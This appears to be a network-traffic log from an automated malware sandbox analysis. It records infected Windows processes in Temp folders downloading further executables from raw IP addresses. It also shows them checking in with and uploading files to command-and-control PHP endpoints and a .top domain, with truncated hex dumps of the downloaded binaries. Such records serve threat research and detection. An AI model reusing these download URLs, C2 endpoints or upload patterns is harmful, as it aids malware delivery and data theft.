                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 45 00 00 04 00 00 b0 6d 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$E `@ Em`Ui`D @ @.rsrcD`2@.idata 6@ *8@birivrvo` +^:@iudmniuq E@.taggant@E"@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.306355953 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.306372881 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.306926012 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.306941986 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.306958914 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.307606936 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.307635069 CET1236INData Raw: a6 6e 93 ba cf c1 90 7d 47 b2 92 85 48 ec f7 4b a3 05 fa 5b e4 a7 ee 1b 33 7c cc 04 9d 07 5d 6d ef ea 46 de 99 d9 1d 9a b0 31 d4 4d 68 a3 80 7a 54 7b b0 4b 10 68 8f 07 46 99 95 01 56 73 4b 68 28 60 a0 bb cf 75 a4 a3 e3 8c b3 0d 74 82 95 ea 01 49
                                                                                                                                                                                                                                                            Data Ascii: n}GHK[3|]mF1MhzT{KhFVsKh(`utI^x{XX<ojgOmyZnt+yjtu`z!gM5]pZS5Yv^7h)DNewRk&uH`tD!ZSYvv)(3|X$t5o`V-
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.307651997 CET1236INData Raw: d3 6d aa ad 8b 6d b6 59 a3 52 33 4c 4d 8a ac d4 05 92 a0 41 f6 a7 ce 64 34 f5 d6 bd 2b aa a6 ba 05 92 e6 5b a6 ca e2 b8 bc 67 24 c4 2b 6d ea bb 05 ce aa 95 f7 b6 fa 4f f8 01 01 80 03 8a 0e 63 f4 89 46 e0 4e ee 9f 33 2b ea be ba c5 79 26 f4 dd 22
                                                                                                                                                                                                                                                            Data Ascii: mmYR3LMAd4+[g$+mOcFN3+y&"/6cm>#UZ&1]5uGi-bZmncFoNv{~K<j{.!%nMbR'VRtJr6cmC)~fccNT~+v"zqZYz
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.308379889 CET1236INData Raw: ec 80 a3 bc f1 a2 aa 68 17 d5 5a ba 50 56 9a ce 5a 67 a8 95 1b 7d d6 1c 4f c4 dd a4 fa 42 04 1e e1 95 dc 8a 59 e1 c8 7e d5 c3 87 6f 24 78 e7 2c 15 6a 06 aa 4b d7 1b 98 55 5a 0c 98 e6 c7 fa e0 dd 7d fe 54 56 c3 f6 b2 5c 30 47 b9 c3 1d c0 e9 98 54
                                                                                                                                                                                                                                                            Data Ascii: hZPVZg}OBY~o$x,jKUZ}TV\0GTAsk;|\'xdw&/5q-)}/b& EpBMKpXv,p7MrI/Wf1Dmq[4K_X*Gj</[2I/kV@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.428087950 CET1236INData Raw: 43 b5 73 10 3d 86 8d 61 38 02 94 7e 61 66 c8 5a 48 7d 9c fa 49 86 ea 75 75 90 7e 9c 4c 75 71 49 48 76 f4 b7 06 79 38 2f c8 41 8e 83 ea 37 ac d4 04 2c 03 bd ec c8 b2 05 04 58 98 ae e3 b9 fe b7 73 cb f0 b8 f9 c7 eb 14 85 8d 91 2a b5 d3 fd f8 e5 42
                                                                                                                                                                                                                                                            Data Ascii: Cs=a8~afZH}Iuu~LuqIHvy8/A7,Xs*B,sojvB@eG]z;VK O3 ]P#MC#g3[AKJOM`T.KZc*|Obyj[OWmD*V-)!ZI=heq)mo`9
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:30.387934923 CET205OUTGET /steam/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Host: 185.215.113.16
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:30.828079939 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:30 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 2909696
                                                                                                                                                                                                                                                            Last-Modified: Wed, 18 Dec 2024 23:58:29 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "676361a5-2c6600"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 a0 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 4f 00 00 04 00 00 8f fc 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds|Fir^m[gmKbgdwwEeRichdPELdTg(O@O,@M$a$$ $h@.rsrc$x@.idata $z@yqsxqdye*$*|@vpqvprngO@,@.taggant0O"D,@


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            23192.168.2.550021185.215.113.206805832C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:20.064600945 CET565OUTPOST /c4becf79229cb002.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDG
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Content-Length: 363
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="file"------BAAAAKJKJEBGHJKFHIDG--
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:21.852921009 CET203INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:21 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Content-Length: 0
                                                                                                                                                                                                                                                            Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            24192.168.2.550050185.215.113.43806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:22.830935955 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            Host: 185.215.113.43
                                                                                                                                                                                                                                                            Content-Length: 31
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 64 31 3d 31 30 31 37 31 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                            Data Ascii: d1=1017198001&unit=246122658369
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:24.098570108 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:23 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            25192.168.2.55006231.41.244.11806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:24.336663008 CET61OUTGET /files/london/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Host: 31.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:25.626445055 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:25 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 1885696
                                                                                                                                                                                                                                                            Last-Modified: Wed, 18 Dec 2024 18:20:46 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "6763127e-1cc600"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gJ@J%-@T0h 1 H@.rsrc X@.idata 0Z@ *@\@uzxdwyviP 0B^@efzdldigpJ@.taggant0J"@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:25.626490116 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:25.626508951 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:25.626878977 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:25.626907110 CET896INData Raw: 83 cd 5d 38 36 ec de 6d d0 36 3b 4d 30 16 69 44 0d a6 e1 41 ae 4d c2 d8 6f 69 b7 e9 4f a7 f4 a2 fb fd 67 d5 35 01 df 8a be 6d f7 40 c6 d5 22 db 29 26 de 0a a6 f4 f4 ac 06 76 39 89 61 1e 3d a4 c4 3b ec bb ba af 8b 9b 7d 80 7c 81 45 c8 8a ce 70 d1
                                                                                                                                                                                                                                                            Data Ascii: ]86m6;M0iDAMoiOg5m@")&v9a=;}|Ep=~8GgU\&[N2|Tnh)+syIv8[o={vhe#GV~L/'+$eEln!a[05<k?d}"
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:25.626929998 CET1236INData Raw: a9 6e bf c6 57 cd fd 16 18 29 60 71 e6 87 fe ae 0a 31 f6 7d bc 5a 34 58 b1 d5 e9 11 4b 53 d2 95 01 f1 14 ad 65 79 e2 bc c4 4e ba f6 41 41 c3 dc 33 cd cd 28 81 2d fc ba c5 e5 5e 94 3e 4d ed 7b 9d 42 c2 40 3c 69 e9 b9 91 78 94 ca 8a 45 01 8a 02 d9
                                                                                                                                                                                                                                                            Data Ascii: nW)`q1}Z4XKSeyNAA3(-^>M{B@<ixEq9{X64*mk%aa-r(Ml':-.AC5`2B[V*Ad!^iynugK6`tst~|G61Y5&:`c_}Kz{;\
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:25.627691031 CET1236INData Raw: 4f 19 68 44 7e 28 a0 ee 57 21 15 65 5c 65 42 40 68 e8 83 b3 12 68 f5 10 f8 ea 58 71 80 76 79 7c 34 49 b2 f8 50 5e e0 72 38 3a 7d 45 49 9e fe 43 c6 54 9d fb db d1 e5 e1 9c ce f7 da 5e 43 e6 6b ca 0d 58 80 fe eb c8 43 4d 32 41 d1 57 08 ec 89 41 4e
                                                                                                                                                                                                                                                            Data Ascii: OhD~(W!e\eB@hhXqvy|4IP^r8:}EICT^CkXCM2AWAN voqpgx8u<~LS>pw_ &wD?ve?*JUl^1c'"[w8+QU,CS;TYu=}e6`*yaIu>Xyu1?Ft
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:25.627718925 CET1236INData Raw: 04 d7 74 18 f1 0a 3e 0a 18 15 ea c2 dd 5c f9 c3 01 4d 06 9a fd 3e be 0b 87 a5 7a e1 d9 0e ee c5 c0 cf 91 c8 fb 2e 22 59 f2 18 91 00 37 7b d0 5e a8 f4 b0 ff e8 7b 39 d3 dc b7 0c 99 b9 ce e1 ee 3d c6 f9 94 fc 14 9f d6 14 0b 4b 4f 15 01 78 5b d1 d1
                                                                                                                                                                                                                                                            Data Ascii: t>\M>z."Y7{^{9=KOx[X{QIsyIj<g3MN:Dle@ay}&y.=ht}e@|MseCfC#ryD)D~bY/s0:yA@0[ODs+^
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:25.627743006 CET1236INData Raw: 7f 85 e1 4b b6 a1 f6 11 7a 63 5f a3 6d f8 71 c9 e8 81 ae 59 99 11 f4 8d 0b 05 e4 de 66 7e 37 a5 b6 1e cd 88 1d e0 7e aa 3e 48 6e 8f 45 17 1f 80 63 f0 fa 89 69 b9 7d e9 2b f5 e7 c4 bc a5 86 47 c4 0d 4c 51 bb 6d 6d 97 0e 23 37 b7 21 52 78 28 07 53
                                                                                                                                                                                                                                                            Data Ascii: Kzc_mqYf~7~>HnEci}+GLQmm#7!Rx(S&(-^/C8xXfPq7vK{J{lV\-AmA9a3E~UM6n-uJ&8:E-OJ>&=dAWiObAXO6{0y}g&|L}\h[yF4.,Ut
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:25.627759933 CET896INData Raw: bf 2d ba 41 f7 1f b5 2f 6c fb 3b 02 bb 67 17 1b 8c 47 30 99 fe a6 4b b5 7e f7 45 6e 6e 78 83 47 0f 15 b6 90 75 d8 a4 cd c4 a3 b1 c9 88 88 67 93 b9 dc b3 8f 8c 47 fe fe da ff f9 8d a4 3e b2 66 6b 64 4b e9 99 2d a3 4c 7f 2c 66 1d ea 5e 52 af b7 55
                                                                                                                                                                                                                                                            Data Ascii: -A/l;gG0K~EnnxGugG>fkdK-L,f^RUBQRj*?L)a=-FVqN{r[jGmb0|u1aB/~~HgbN7[luAhbO7L$]5&;;C%aqCM
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:25.746268034 CET1236INData Raw: 2d 1c 93 41 6d e2 19 40 ef 26 31 97 2c b8 e9 ca a8 f1 b2 b9 c6 e3 43 6c 5c 92 91 fa a2 75 3e 9d d1 0a 48 61 71 44 41 cd 4c 4d dc b5 f9 cd 38 99 b8 f6 86 80 b0 f4 d8 62 96 da 3b bd 71 d9 0a 2c a7 d1 01 d3 bd ba 5d a9 0a 35 a5 32 41 89 62 ce 6d 1d
                                                                                                                                                                                                                                                            Data Ascii: -Am@&1,Cl\u>HaqDALM8b;q,]52Abmp.~5L{!v1SuZQ69IIUYP[Lu)Qqf-b(&(HEeQ&q2mCql~zhi{4|,7G]:OKfvI1Y


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            26192.168.2.550080185.185.71.170803872C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:27.890547991 CET12360OUTPOST /v1/upload.php HTTP/1.1
                                                                                                                                                                                                                                                            Host: twentytk20pn.top
                                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                                            Content-Length: 28649
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=------------------------RqCjWjWZzq9CG9l3VTgP0L
                                                                                                                                                                                                                                                            Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 52 71 43 6a 57 6a 57 5a 7a 71 39 43 47 39 6c 33 56 54 67 50 30 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 65 63 65 62 65 68 65 63 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 6f 21 f6 f5 04 45 d7 7f fb 28 f7 f6 59 3c b6 89 53 73 f0 0e 5d ad 02 2c 54 84 42 e2 9b 95 9f 01 a8 7e e3 e1 05 56 4f 32 66 73 15 f4 74 4c 9e 02 38 28 65 c1 5a e9 db 31 1b 46 4d 3a 18 d1 59 40 ce 12 bd 82 6b c9 94 43 15 82 94 8d d9 a5 72 7a 17 ff 38 63 b4 3f 2d 27 47 ab 6c 9c 2a 00 f1 6e c8 d6 f2 8d 34 f0 83 50 3c 8c 46 8c 84 83 82 ba bf b5 a6 8a 75 2a 53 11 d6 13 75 9a b4 a1 c1 3b 99 50 93 8b 44 6e 8d a0 11 08 9b be 0c 07 e9 67 2d d3 65 3e 40 eb af 88 eb fb 38 e6 44 e9 e6 a2 92 fb d3 63 ec cb 4b 08 fe 37 b2 52 a0 3f 31 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: --------------------------RqCjWjWZzq9CG9l3VTgP0LContent-Disposition: form-data; name="file"; filename="Gecebehec.bin"Content-Type: application/octet-streamo!E(Y<Ss],TB~VO2fstL8(eZ1FM:Y@kCrz8c?-'Gl*n4P<Fu*Su;PDng-e>@8DcK7R?1[<)@$2VFfM/_dF8XhWK!@8lyQO6XF|qjPqP50'6*V ~^{+wga9[.DJ'p[::`4%fGpf D!+itqBNP4qJ)~u'Swa^W&vLI.7i,A#+UvYZl}GQmH\TIraUo\W**&ltR (ZzQ/!lZ{c!sJWFcs :j.`:#G7(*.LK;XARD.x+!#J-.g 2ZXUU^EO\k)>uVJjxUoaC{il!cXWXsotj?FIRkCJSU1qrK06E\=<$V_w-Qu`V_ObBJz2 [TRUNCATED]
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:28.010483027 CET4944OUTData Raw: ba 66 06 e6 55 10 51 d6 19 82 ea bd 92 4f 2b 70 2d 79 b2 11 f5 83 23 02 a4 8d 3d dc a6 a3 76 b3 f5 c1 5e 77 57 5d da 45 83 69 59 4f fb be 5a ee 24 93 a3 b1 c5 3b eb 46 ef c0 1a 40 35 7d a4 79 7e f8 a3 f8 ad 77 93 01 34 0f 75 18 34 be 13 4d 3d 4d
                                                                                                                                                                                                                                                            Data Ascii: fUQO+p-y#=v^wW]EiYOZ$;F@5}y~w4u4M=M/wNS_k NBh.hJvef`a'G5=CeFZUZ-B`YTSBXXY;4H)25d2BUJ*8T5}d@i.Am'5A1w.cs
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:28.010548115 CET4944OUTData Raw: 73 36 13 d9 1f 0a 58 71 e3 14 ac e9 e4 87 e0 f8 06 d8 ec f0 78 4e 53 51 3c 11 32 a9 8f bc b8 60 ff e4 4a 90 9b c8 67 e7 53 c1 0f 71 de df 47 0e 09 4d 30 ff d5 07 7e 08 49 c5 11 d6 f6 67 2e 7f d7 ca fe 3e 27 d3 db 26 9f dc 84 20 72 e4 6a f2 4a 6f
                                                                                                                                                                                                                                                            Data Ascii: s6XqxNSQ<2`JgSqGM0~Ig.>'& rjJo8L /+%+)sY`/(L0:H*t3N#F%*bH;0j%_Z[:p>p -gf.F`z/:0=H[
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:28.010607958 CET4944OUTData Raw: 8d 43 64 da 95 b5 bb 49 d3 5e 39 8f cb 4e 58 f7 56 0b 05 bf 17 1b 4e f6 b0 a6 fa c1 54 a0 75 28 19 38 d9 ee 65 6a 1f 72 02 77 a4 80 ec 78 aa 69 38 d8 da ba 88 ed 24 c7 72 31 e8 8c 37 5f 4f 4a 9c 7d d2 fc 62 6c 2b 10 3a 14 43 ef 90 9e 46 9b 3f 19
